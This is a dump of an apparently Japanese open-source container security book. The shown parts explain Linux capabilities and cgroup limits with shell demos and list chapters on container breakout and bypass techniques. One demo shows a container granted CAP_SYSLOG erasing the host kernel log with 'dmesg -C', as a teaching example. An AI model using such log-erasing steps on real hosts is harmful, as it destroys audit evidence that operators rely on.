master 39d9e25ec937 cached
48 files
139.3 KB
53.4k tokens
1 requests
Download .txt
Repository: mrtc0/container-security-book
Branch: master
Commit: 39d9e25ec937
Files: 48
Total size: 139.3 KB

Directory structure:
gitextract_vq0wp2g_/

├── .gitignore
├── LICENSE
├── README.md
├── book.json
├── package.json
├── renovate.json
└── source/
    ├── README.md
    ├── REFERENCES.md
    ├── SUMMARY.md
    ├── capability/
    │   └── README.md
    ├── cgroup/
    │   └── README.md
    ├── container-basics.md
    ├── hardening/
    │   ├── README.md
    │   ├── apparmor.md
    │   ├── cis-benchmark.md
    │   ├── monitoring.md
    │   ├── no-new-privileges.md
    │   ├── runtime.md
    │   └── seccomp.md
    ├── introduction.md
    ├── kubernetes/
    │   ├── hardening/
    │   │   ├── README.md
    │   │   └── secret-management.md
    │   └── security/
    │       ├── README.md
    │       ├── ctf.md
    │       ├── etcd.md
    │       ├── hostpath-mount.md
    │       ├── metadata-service.md
    │       ├── privileged-pod.md
    │       └── service-account.md
    ├── lsm/
    │   └── apparmor.md
    ├── namespace/
    │   ├── README.md
    │   ├── chroot-and-pivot_root.md
    │   ├── mount.md
    │   ├── pid.md
    │   ├── user.md
    │   └── uts.md
    ├── seccomp/
    │   └── README.md
    ├── security/
    │   ├── DoS.md
    │   ├── README.md
    │   ├── adding-a-user-to-group.md
    │   ├── apparmor-bypass.md
    │   ├── breakout-to-host.md
    │   ├── image/
    │   │   ├── README.md
    │   │   ├── scanner.md
    │   │   └── secrets-in-layer.md
    │   ├── seccomp-bypass.md
    │   └── sensitive-file-mount.md
    └── styles/
        └── website.css

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
node_modules/
_book/


================================================
FILE: LICENSE
================================================
Attribution-NonCommercial 4.0 International

=======================================================================

Creative Commons Corporation ("Creative Commons") is not a law firm and
does not provide legal services or legal advice. Distribution of
Creative Commons public licenses does not create a lawyer-client or
other relationship. Creative Commons makes its licenses and related
information available on an "as-is" basis. Creative Commons gives no
warranties regarding its licenses, any material licensed under their
terms and conditions, or any related information. Creative Commons
disclaims all liability for damages resulting from their use to the
fullest extent possible.

Using Creative Commons Public Licenses

Creative Commons public licenses provide a standard set of terms and
conditions that creators and other rights holders may use to share
original works of authorship and other material subject to copyright
and certain other rights specified in the public license below. The
following considerations are for informational purposes only, are not
exhaustive, and do not form part of our licenses.

     Considerations for licensors: Our public licenses are
     intended for use by those authorized to give the public
     permission to use material in ways otherwise restricted by
     copyright and certain other rights. Our licenses are
     irrevocable. Licensors should read and understand the terms
     and conditions of the license they choose before applying it.
     Licensors should also secure all rights necessary before
     applying our licenses so that the public can reuse the
     material as expected. Licensors should clearly mark any
     material not subject to the license. This includes other CC-
     licensed material, or material used under an exception or
     limitation to copyright. More considerations for licensors:
    wiki.creativecommons.org/Considerations_for_licensors

     Considerations for the public: By using one of our public
     licenses, a licensor grants the public permission to use the
     licensed material under specified terms and conditions. If
     the licensor's permission is not necessary for any reason--for
     example, because of any applicable exception or limitation to
     copyright--then that use is not regulated by the license. Our
     licenses grant only permissions under copyright and certain
     other rights that a licensor has authority to grant. Use of
     the licensed material may still be restricted for other
     reasons, including because others have copyright or other
     rights in the material. A licensor may make special requests,
     such as asking that all changes be marked or described.
     Although not required by our licenses, you are encouraged to
     respect those requests where reasonable. More considerations
     for the public:
    wiki.creativecommons.org/Considerations_for_licensees

=======================================================================

Creative Commons Attribution-NonCommercial 4.0 International Public
License

By exercising the Licensed Rights (defined below), You accept and agree
to be bound by the terms and conditions of this Creative Commons
Attribution-NonCommercial 4.0 International Public License ("Public
License"). To the extent this Public License may be interpreted as a
contract, You are granted the Licensed Rights in consideration of Your
acceptance of these terms and conditions, and the Licensor grants You
such rights in consideration of benefits the Licensor receives from
making the Licensed Material available under these terms and
conditions.


Section 1 -- Definitions.

  a. Adapted Material means material subject to Copyright and Similar
     Rights that is derived from or based upon the Licensed Material
     and in which the Licensed Material is translated, altered,
     arranged, transformed, or otherwise modified in a manner requiring
     permission under the Copyright and Similar Rights held by the
     Licensor. For purposes of this Public License, where the Licensed
     Material is a musical work, performance, or sound recording,
     Adapted Material is always produced where the Licensed Material is
     synched in timed relation with a moving image.

  b. Adapter's License means the license You apply to Your Copyright
     and Similar Rights in Your contributions to Adapted Material in
     accordance with the terms and conditions of this Public License.

  c. Copyright and Similar Rights means copyright and/or similar rights
     closely related to copyright including, without limitation,
     performance, broadcast, sound recording, and Sui Generis Database
     Rights, without regard to how the rights are labeled or
     categorized. For purposes of this Public License, the rights
     specified in Section 2(b)(1)-(2) are not Copyright and Similar
     Rights.
  d. Effective Technological Measures means those measures that, in the
     absence of proper authority, may not be circumvented under laws
     fulfilling obligations under Article 11 of the WIPO Copyright
     Treaty adopted on December 20, 1996, and/or similar international
     agreements.

  e. Exceptions and Limitations means fair use, fair dealing, and/or
     any other exception or limitation to Copyright and Similar Rights
     that applies to Your use of the Licensed Material.

  f. Licensed Material means the artistic or literary work, database,
     or other material to which the Licensor applied this Public
     License.

  g. Licensed Rights means the rights granted to You subject to the
     terms and conditions of this Public License, which are limited to
     all Copyright and Similar Rights that apply to Your use of the
     Licensed Material and that the Licensor has authority to license.

  h. Licensor means the individual(s) or entity(ies) granting rights
     under this Public License.

  i. NonCommercial means not primarily intended for or directed towards
     commercial advantage or monetary compensation. For purposes of
     this Public License, the exchange of the Licensed Material for
     other material subject to Copyright and Similar Rights by digital
     file-sharing or similar means is NonCommercial provided there is
     no payment of monetary compensation in connection with the
     exchange.

  j. Share means to provide material to the public by any means or
     process that requires permission under the Licensed Rights, such
     as reproduction, public display, public performance, distribution,
     dissemination, communication, or importation, and to make material
     available to the public including in ways that members of the
     public may access the material from a place and at a time
     individually chosen by them.

  k. Sui Generis Database Rights means rights other than copyright
     resulting from Directive 96/9/EC of the European Parliament and of
     the Council of 11 March 1996 on the legal protection of databases,
     as amended and/or succeeded, as well as other essentially
     equivalent rights anywhere in the world.

  l. You means the individual or entity exercising the Licensed Rights
     under this Public License. Your has a corresponding meaning.


Section 2 -- Scope.

  a. License grant.

       1. Subject to the terms and conditions of this Public License,
          the Licensor hereby grants You a worldwide, royalty-free,
          non-sublicensable, non-exclusive, irrevocable license to
          exercise the Licensed Rights in the Licensed Material to:

            a. reproduce and Share the Licensed Material, in whole or
               in part, for NonCommercial purposes only; and

            b. produce, reproduce, and Share Adapted Material for
               NonCommercial purposes only.

       2. Exceptions and Limitations. For the avoidance of doubt, where
          Exceptions and Limitations apply to Your use, this Public
          License does not apply, and You do not need to comply with
          its terms and conditions.

       3. Term. The term of this Public License is specified in Section
          6(a).

       4. Media and formats; technical modifications allowed. The
          Licensor authorizes You to exercise the Licensed Rights in
          all media and formats whether now known or hereafter created,
          and to make technical modifications necessary to do so. The
          Licensor waives and/or agrees not to assert any right or
          authority to forbid You from making technical modifications
          necessary to exercise the Licensed Rights, including
          technical modifications necessary to circumvent Effective
          Technological Measures. For purposes of this Public License,
          simply making modifications authorized by this Section 2(a)
          (4) never produces Adapted Material.

       5. Downstream recipients.

            a. Offer from the Licensor -- Licensed Material. Every
               recipient of the Licensed Material automatically
               receives an offer from the Licensor to exercise the
               Licensed Rights under the terms and conditions of this
               Public License.

            b. No downstream restrictions. You may not offer or impose
               any additional or different terms or conditions on, or
               apply any Effective Technological Measures to, the
               Licensed Material if doing so restricts exercise of the
               Licensed Rights by any recipient of the Licensed
               Material.

       6. No endorsement. Nothing in this Public License constitutes or
          may be construed as permission to assert or imply that You
          are, or that Your use of the Licensed Material is, connected
          with, or sponsored, endorsed, or granted official status by,
          the Licensor or others designated to receive attribution as
          provided in Section 3(a)(1)(A)(i).

  b. Other rights.

       1. Moral rights, such as the right of integrity, are not
          licensed under this Public License, nor are publicity,
          privacy, and/or other similar personality rights; however, to
          the extent possible, the Licensor waives and/or agrees not to
          assert any such rights held by the Licensor to the limited
          extent necessary to allow You to exercise the Licensed
          Rights, but not otherwise.

       2. Patent and trademark rights are not licensed under this
          Public License.

       3. To the extent possible, the Licensor waives any right to
          collect royalties from You for the exercise of the Licensed
          Rights, whether directly or through a collecting society
          under any voluntary or waivable statutory or compulsory
          licensing scheme. In all other cases the Licensor expressly
          reserves any right to collect such royalties, including when
          the Licensed Material is used other than for NonCommercial
          purposes.


Section 3 -- License Conditions.

Your exercise of the Licensed Rights is expressly made subject to the
following conditions.

  a. Attribution.

       1. If You Share the Licensed Material (including in modified
          form), You must:

            a. retain the following if it is supplied by the Licensor
               with the Licensed Material:

                 i. identification of the creator(s) of the Licensed
                    Material and any others designated to receive
                    attribution, in any reasonable manner requested by
                    the Licensor (including by pseudonym if
                    designated);

                ii. a copyright notice;

               iii. a notice that refers to this Public License;

                iv. a notice that refers to the disclaimer of
                    warranties;

                 v. a URI or hyperlink to the Licensed Material to the
                    extent reasonably practicable;

            b. indicate if You modified the Licensed Material and
               retain an indication of any previous modifications; and

            c. indicate the Licensed Material is licensed under this
               Public License, and include the text of, or the URI or
               hyperlink to, this Public License.

       2. You may satisfy the conditions in Section 3(a)(1) in any
          reasonable manner based on the medium, means, and context in
          which You Share the Licensed Material. For example, it may be
          reasonable to satisfy the conditions by providing a URI or
          hyperlink to a resource that includes the required
          information.

       3. If requested by the Licensor, You must remove any of the
          information required by Section 3(a)(1)(A) to the extent
          reasonably practicable.

       4. If You Share Adapted Material You produce, the Adapter's
          License You apply must not prevent recipients of the Adapted
          Material from complying with this Public License.


Section 4 -- Sui Generis Database Rights.

Where the Licensed Rights include Sui Generis Database Rights that
apply to Your use of the Licensed Material:

  a. for the avoidance of doubt, Section 2(a)(1) grants You the right
     to extract, reuse, reproduce, and Share all or a substantial
     portion of the contents of the database for NonCommercial purposes
     only;

  b. if You include all or a substantial portion of the database
     contents in a database in which You have Sui Generis Database
     Rights, then the database in which You have Sui Generis Database
     Rights (but not its individual contents) is Adapted Material; and

  c. You must comply with the conditions in Section 3(a) if You Share
     all or a substantial portion of the contents of the database.

For the avoidance of doubt, this Section 4 supplements and does not
replace Your obligations under this Public License where the Licensed
Rights include other Copyright and Similar Rights.


Section 5 -- Disclaimer of Warranties and Limitation of Liability.

  a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
     EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
     AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
     ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
     IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
     WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
     PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
     ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
     KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
     ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.

  b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
     TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
     NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
     INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
     COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
     USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
     ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
     DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
     IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.

  c. The disclaimer of warranties and limitation of liability provided
     above shall be interpreted in a manner that, to the extent
     possible, most closely approximates an absolute disclaimer and
     waiver of all liability.


Section 6 -- Term and Termination.

  a. This Public License applies for the term of the Copyright and
     Similar Rights licensed here. However, if You fail to comply with
     this Public License, then Your rights under this Public License
     terminate automatically.

  b. Where Your right to use the Licensed Material has terminated under
     Section 6(a), it reinstates:

       1. automatically as of the date the violation is cured, provided
          it is cured within 30 days of Your discovery of the
          violation; or

       2. upon express reinstatement by the Licensor.

     For the avoidance of doubt, this Section 6(b) does not affect any
     right the Licensor may have to seek remedies for Your violations
     of this Public License.

  c. For the avoidance of doubt, the Licensor may also offer the
     Licensed Material under separate terms or conditions or stop
     distributing the Licensed Material at any time; however, doing so
     will not terminate this Public License.

  d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
     License.


Section 7 -- Other Terms and Conditions.

  a. The Licensor shall not be bound by any additional or different
     terms or conditions communicated by You unless expressly agreed.

  b. Any arrangements, understandings, or agreements regarding the
     Licensed Material not stated herein are separate from and
     independent of the terms and conditions of this Public License.


Section 8 -- Interpretation.

  a. For the avoidance of doubt, this Public License does not, and
     shall not be interpreted to, reduce, limit, restrict, or impose
     conditions on any use of the Licensed Material that could lawfully
     be made without permission under this Public License.

  b. To the extent possible, if any provision of this Public License is
     deemed unenforceable, it shall be automatically reformed to the
     minimum extent necessary to make it enforceable. If the provision
     cannot be reformed, it shall be severed from this Public License
     without affecting the enforceability of the remaining terms and
     conditions.

  c. No term or condition of this Public License will be waived and no
     failure to comply consented to unless expressly agreed to by the
     Licensor.

  d. Nothing in this Public License constitutes or may be interpreted
     as a limitation upon, or waiver of, any privileges and immunities
     that apply to the Licensor or You, including from the legal
     processes of any jurisdiction or authority.

=======================================================================

Creative Commons is not a party to its public
licenses. Notwithstanding, Creative Commons may elect to apply one of
its public licenses to material it publishes and in those instances
will be considered the “Licensor.” The text of the Creative Commons
public licenses is dedicated to the public domain under the CC0 Public
Domain Dedication. Except for the limited purpose of indicating that
material is shared under a Creative Commons public license or as
otherwise permitted by the Creative Commons policies published at
creativecommons.org/policies, Creative Commons does not authorize the
use of the trademark "Creative Commons" or any other trademark or logo
of Creative Commons without its prior written consent including,
without limitation, in connection with any unauthorized modifications
to any of its public licenses or any other arrangements,
understandings, or agreements concerning use of licensed material. For
the avoidance of doubt, this paragraph does not form part of the
public licenses.

Creative Commons may be contacted at creativecommons.org.



================================================
FILE: README.md
================================================
# container-security-book

---

# About

これから Linux コンテナのセキュリティを学びたい人のための文書です。
普段からコンテナを扱っているが、コンテナの基礎技術やセキュリティについては分からないという人が、それらを理解できる足がかりになるように書かれています。

誤字脱字や間違いなどあれば https://github.com/mrtc0/container-security-book に Issue もしくは Pull Request を立ててください。
ご意見、ご感想等は Twitter ハッシュタグ #container-security でツイートをお願いします。

# Status

この文書はまだ未完成の内容となっています。

# License

この書籍に記述されているすべてのソースコードは、MITライセンスに基づいたオープンソースソフトウェアとして提供されます。
また、文章は Creative Commons の Attribution-NonCommercial 4.0(CC BY-NC 4.0)ライセンスに基づいて提供されます。



================================================
FILE: book.json
================================================
{
  "root": "./source",
  "title": "Container Security Book",
  "description": "これから Linux コンテナのセキュリティを学びたい人のための文書",
  "author": "Kohei Morita @mrtc0",
  "plugins": [
    "image-captions",
    "anchors"
  ]
}


================================================
FILE: package.json
================================================
{
  "name": "container-security-book",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "build": "honkit build",
    "serve": "honkit serve",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "honkit": "3.6.23"
  },
  "dependencies": {
    "gitbook-plugin-anchors": "^0.7.1",
    "gitbook-plugin-image-captions": "^3.1.0"
  }
}


================================================
FILE: renovate.json
================================================
{
  "extends": [
    "config:base"
  ]
}


================================================
FILE: source/README.md
================================================
---
author: mrtc0
fullTitle: "Container Security Book - Linux コンテナのセキュリティを知ろう"
description: "これから Linux コンテナの基礎技術やセキュリティを学びたい人のための文書です。"
---

# Container Security Book

> ⚠️この文書は製作中のものです

# About

これから Linux コンテナのセキュリティを学びたい人のための文書です。  
普段からコンテナを扱っているが、コンテナの基礎技術やセキュリティについては分からないという人が、それらを理解できる足がかりになるように書かれています。

誤字脱字や間違いなどあれば https://github.com/mrtc0/container-security-book に Issue もしくは Pull Request を立ててください。  
ご意見、ご感想等は Twitter ハッシュタグ #container_security でツイートをお願いします。

# License

この書籍に記述されているすべてのソースコードは MIT ライセンスとします。  
また、文章は Creative Commons Attribution-NonCommercial 4.0(CC BY-NC 4.0)ライセンスに基づいて提供されます。


================================================
FILE: source/REFERENCES.md
================================================
# References

* Docker Documentaion / https://docs.docker.com/
* LXD / https://linuxcontainers.org/lxd/docs/master/ (日本語訳: https://lxd-ja.readthedocs.io/ja/latest/)
* Understanding and Hardening Linux Containers - NCC Group Whitepaper / https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf
* Abusing Privileged and Unprivileged Linux Containers - An NCC Group Publication / https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf
* コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう - エンジニアHub / https://eh-career.com/engineerhub/entry/2019/02/05/103000
* LXCで学ぶコンテナ入門 -軽量仮想化環境を実現する技術 - gihyo.jp / https://gihyo.jp/admin/serial/01/linux_containers
* Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド / https://www.amazon.co.jp/dp/4839970505
* Container Security: Fundamental Technology Concepts That Protect Containerized Applications / https://www.amazon.co.jp/dp/1492056707


================================================
FILE: source/SUMMARY.md
================================================
# Summary

## はじめに

- [About](README.md)
- [Introduction](introduction.md)

## コンテナの基礎技術

- [コンテナの基礎技術](container-basics.md)
- [Namespace](namespace/README.md)
  - [UTS Namespace](namespace/uts.md)
  - [PID Namespace](namespace/pid.md)
  - [Mount Namespace](namespace/mount.md)
  - [User Namespace](namespace/user.md)
- [chroot and pivot_root](namespace/chroot-and-pivot_root.md)
- [Capability](capability/README.md)
- [Seccomp](seccomp/README.md)
- [AppArmor](lsm/apparmor.md)
- [cgroup](cgroup/README.md)

## コンテナのセキュリティと攻撃例

- [Security](security/README.md)
  - [Breakout Container](security/breakout-to-host.md)
  - [Sensitive file mount](security/sensitive-file-mount.md)
  - [DoS](security/DoS.md)
  - [Adding a user to group](security/adding-a-user-to-group.md)
  - [AppArmor Bypass](security/apparmor-bypass.md)
  - [seccomp Bypass](security/seccomp-bypass.md)
  - [Secrets in Layer](security/image/secrets-in-layer.md)
  - [Image Scanner](security/image/scanner.md)

## Hardening Container

- [Hardening Container](hardening/README.md)
  - [No New Privileges](hardening/no-new-privileges.md)
  - [AppArmor](hardening/apparmor.md)
  - [seccomp](hardening/seccomp.md)
  - [runtime](hardening/runtime.md)
  - [Monitoring](hardening/monitoring.md)
  - [CIS Benchmark](hardening/cis-benchmark.md)

## Kubernetes のセキュリティと攻撃例

- [Kubernetes Security](kubernetes/security/README.md)
  - [各種クラウドプロバイダの Metadata Service へのアクセス](kubernetes/security/metadata-service.md)
  - [hostPath を使った Node へのエスケープ](kubernetes/security/hostpath-mount.md)
  - [Pod の権限と Node へのエスケープ](kubernetes/security/privileged-pod.md)
  - [ServiceAccount の過剰な権限](kubernetes/security/service-account.md)
  - [etcd](kubernetes/security/etcd.md)

## Hardening Kubernetes

- [Hardening Kubernetes](kubernetes/hardening/README.md)
  - [Secret Management](kubernetes/hardening/secret-management.md)

## References

- [References](REFERENCES.md)


================================================
FILE: source/capability/README.md
================================================
# Capability

Linux には Capability と呼ばれる仕組みがあり、ファイル及びプロセスに対して権限を細かく設定することができます。  

例えばポート番号が1024以下で Listen する場合は特権が必要になります。つまり root として起動する必要があるのですが、 `CAP_NET_BIND_SERVICE` という Capability を与えることで起動することができます。

```sh
ubuntu@docker:~$ cp $(which python3) mypython3
# Capability がないので80番ポートで Listen できない
ubuntu@docker:~$ getcap mypython3
ubuntu@docker:~$ ./mypython3 -m http.server 80
Traceback (most recent call last):
  File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.8/http/server.py", line 1294, in <module>
    test(
  File "/usr/lib/python3.8/http/server.py", line 1249, in test
    with ServerClass(addr, HandlerClass) as httpd:
  File "/usr/lib/python3.8/socketserver.py", line 452, in __init__
    self.server_bind()
  File "/usr/lib/python3.8/http/server.py", line 1292, in server_bind
    return super().server_bind()
  File "/usr/lib/python3.8/http/server.py", line 138, in server_bind
    socketserver.TCPServer.server_bind(self)
  File "/usr/lib/python3.8/socketserver.py", line 466, in server_bind
    self.socket.bind(self.server_address)
PermissionError: [Errno 13] Permission denied

# Capability を付与したので Listen できる
ubuntu@docker:~$ sudo setcap 'cap_net_bind_service=+ep' ./mypython3
ubuntu@docker:~$ ./mypython3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Docker コンテナでは `--cap-add` や `--cap-drop` を利用して Capability を付与したり削除したりできます。  
ping コマンドの実行は CAP_NET_RAW が必要なので、drop することで実行できないことが確認できます。[^1]

```sh
$ docker run --rm -it ubuntu:latest bash
root@4e89e243ccee:/# apt-get -qq update ; apt-get -qq -y install iputils-ping
root@4e89e243ccee:/# ps
root@4e89e243ccee:/# getpcaps 1
1: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
root@4e89e243ccee:/# ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=113 time=17.9 ms

$ docker run --cap-drop net_raw --rm -it ubuntu:latest bash
root@31bb88ca04f8:/# apt-get -qq update ; apt-get -qq -y install iputils-ping
root@31bb88ca04f8:/# ps
root@31bb88ca04f8:/# getpcaps 1
1: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eiproot@31bb88ca04f8:/# ping 8.8.8.8
root@4e89e243ccee:/# ping 8.8.8.8
bash: /usr/bin/ping: Operation not permitted
```

Capability は数多くあり、中にはコンテナからホストに影響を及ぼすものがあります。  
そのため、過剰な Capability の付与は Breakout の原因となります。

簡単な例として `CAP_SYSLOG` があります。これをコンテナに付与すると `dmesg` 経由でカーネルのログを取得及び消去することができます。  

```sh
ubuntu@docker:~$ docker run --cap-add syslog --rm -it ubuntu:20.04
root@1577bebb133d:/# dmesg | head
[    0.000000] Linux version 5.4.0-47-generic (buildd@lcy01-amd64-014) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #51-Ubuntu SMP Fri Sep 4 19:50:52 UTC 2020 (Ubuntu 5.4.0-47.51-generic 5.4.55)
[    0.000000] Command line: earlyprintk=serial console=ttyS0 root=/dev/vda1 rw panic=1 no_timer_check
[    0.000000] KERNEL supported cpus:
[    0.000000]   Intel GenuineIntel
[    0.000000]   AMD AuthenticAMD
[    0.000000]   Hygon HygonGenuine
[    0.000000]   Centaur CentaurHauls
[    0.000000]   zhaoxin   Shanghai
[    0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
[    0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
root@1577bebb133d:/# dmesg -C
root@1577bebb133d:/# dmesg
```

Docker や LXC などではこのような危険な Capability をデフォルトで付与しないようになっています。[^2]  
危険な Capability を与えた場合に生じる脆弱性については[ホストへのエスケープ](../security/breakout-to-host.md)をご参照ください。

---

* [^1] https://blog.ssrf.in/post/ping-does-not-require-cap-net-raw-capability/ "net.ipv4.ping_group_range を指定すると CAP_NET_RAW は必要ありません"
* [^2] https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities "Runtime privilege and Linux capabilities / docker docs"


================================================
FILE: source/cgroup/README.md
================================================
# cgroup

cgroup はプロセスをグループ化し、そのグループに属するプロセスに対してリソースの制限を行う仕組みです。  
cgroup は cgroupfs と呼ばれるファイルシステムを通して操作します。多くは `/sys/fs/cgroup` にマウントされています。

制限できるリソースのことをサブシステムと呼び、CPU のコア数やメモリ使用量、プロセス数などを制限できます。  
サブシステムについては man をご参照ください[^1]。

## CPU の利用を制限する

無限ループのプロセスを作成し、そのプロセスに対して CPU 利用率を100%にしてみます。  
cgroup 管理下にない状態で `top` で確認すると 100% 利用していることが確認できます。

```sh
$ while true; do : ; done &
[1] 16541

$ top

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
  16541 ubuntu    20   0   10252   1960      0 R 100.0   0.0   0:18.27 bash
```

このプロセスを cgroup 管理下に置きます。

```sh
$ sudo mkdir /sys/fs/cgroup/cpu/test
$ echo 16541 | sudo tee -a /sys/fs/cgroup/cpu/test/tasks
```

続いてCPU利用率を50%にするように調整します。すると 50% 前後に落ち着くことが確認できます。

```sh
$ echo 50000 | sudo tee -a /sys/fs/cgroup/cpu/test/cpu.cfs_quota_us
50000
$ top
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
  16541 ubuntu    20   0   10252   1960      0 R  49.8   0.0   9:48.24 bash
```

## メモリ使用量を制限する

続いてメモリ使用量も200MBに制限してみます。

```sh
$ stress --vm 1 --vm-bytes 500M
stress: info: [17223] dispatching hogs: 0 cpu, 0 io, 1 vm, 0 hdd

$ top
   PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
  17273 root      20   0  515860 291760    208 R 100.0   7.2   0:23.89 stress
```

プロセスを cgroup 管理下に置きます。

```sh
$ sudo mkdir /sys/fs/cgroup/memory/test
$ echo 17272 | sudo tee -a /sys/fs/cgroup/memory/test/tasks
17273
```

メモリ使用量を 200MB に制限します。

```sh
ubuntu@docker:~$ echo 200M | sudo tee -a /sys/fs/cgroup/memory/test/memory.limit_in_bytes
200M
```

すると `stress` が OOM Killer によって kill されます。

```sh
stress: FAIL: [17272] (415) <-- worker 17273 got signal 9
stress: WARN: [17272] (417) now reaping child worker processes
stress: FAIL: [17272] (451) failed run completed in 55s

$ dmesg
[23834.514678] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=/,mems_allowed=0,oom_memcg=/test,task_memcg=/test,task=stress,pid=17273,uid=0
[23834.514683] Memory cgroup out of memory: Killed process 17273 (stress) total-vm:515860kB, anon-rss:204432kB, file-rss:336kB, shmem-rss:0kB, UID:0 pgtables:444kB oom_score_adj:0
[23834.519784] oom_reaper: reaped process 17273 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
```

# docker で cgroup を使う

docker では `run` サブコマンドに対して `-c` フラグや `-m` フラグを指定することで制限できます。詳しくは `docker run --help` で確認してください。

```sh
$ docker run --rm -it -m 100m --memory-swappiness=0 ubuntu:20.04 bash
root@36570f483e85:/# stress --vm 2 --vm-bytes 100M
stress: info: [255] dispatching hogs: 0 cpu, 0 io, 2 vm, 0 hdd
stress: FAIL: [255] (415) <-- worker 257 got signal 9
stress: WARN: [255] (417) now reaping child worker processes
stress: FAIL: [255] (415) <-- worker 256 got signal 9
stress: WARN: [255] (417) now reaping child worker processes
stress: FAIL: [255] (451) failed run completed in 0s

$ dmesg
[24555.596613] Memory cgroup out of memory: Killed process 17691 (stress) total-vm:106260kB, anon-rss:45456kB, file-rss:320kB, shmem-rss:0kB, UID:0 pgtables:136kB oom_score_adj:0
[24555.596719] oom_reaper: reaped process 17692 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[24555.600384] oom_reaper: reaped process 17691 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB

$ cat /sys/fs/cgroup/memory/docker/36570f483e8510887b7be178fba3830f1088aa694131c89a18043ef3db220658/memory.limit_in_bytes
104857600
```

---

[^1]: https://man7.org/linux/man-pages/man7/cgroups.7.html


================================================
FILE: source/container-basics.md
================================================
# コンテナの基礎技術

本章では Linux コンテナが成り立っている基礎技術について紹介します。  
Linux コンテナはホストと分離するために Namespace や cgroup の他、seccomp や LSM などを用いた多層防御モデルとなっています。  
それぞれの技術について実際に動かしながら、ただのプロセスがコンテナになるまでの過程をみていきましょう。


================================================
FILE: source/hardening/README.md
================================================
# Hardening Container

本章ではコンテナをよりセキュアに運用するための方法について紹介します。  
AppArmor や seccomp のプロファイルの自動生成やセキュアな OCI / CRI ランタイム、コンテナのモニタリングについて取り上げます。


================================================
FILE: source/hardening/apparmor.md
================================================
# AppArmor

AppArmor はコンテナが侵害されて各保護レイヤを突破された場合に最後の砦となります。そのため、アプリケーションに適したプロファイルを適用することでコンテナをセキュアに運用することができます。  
一方で、AppArmor はシンタックスが複雑であったり、アプリケーションがどのファイルにアクセスしているか把握する必要があったりなど、プロファイルを生成するコストがかかるという面もあります。

ここでは AppArmor プロファイルを比較的簡単に生成する方法を紹介します。

## `docker diff` で変更されたファイルを一覧する

`docker diff` を使うことで変更されたファイルやディレクトリを取得することができます。例えば nginx コンテナを起動し、 `docker diff` を実行することで次のようなリストを取得することができます。

```sh
ubuntu@sandbox:~$ docker run --rm -it nginx:latest
...

ubuntu@sandbox:~$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES
ae9a66bf223e        nginx:latest        "/docker-entrypoint.…"   3 minutes ago       Up 3 minutes        80/tcp              sweet_archimedes
ubuntu@sandbox:~$ docker diff ae9a
C /run
A /run/nginx.pid
C /var
C /var/cache
C /var/cache/nginx
A /var/cache/nginx/proxy_temp
A /var/cache/nginx/scgi_temp
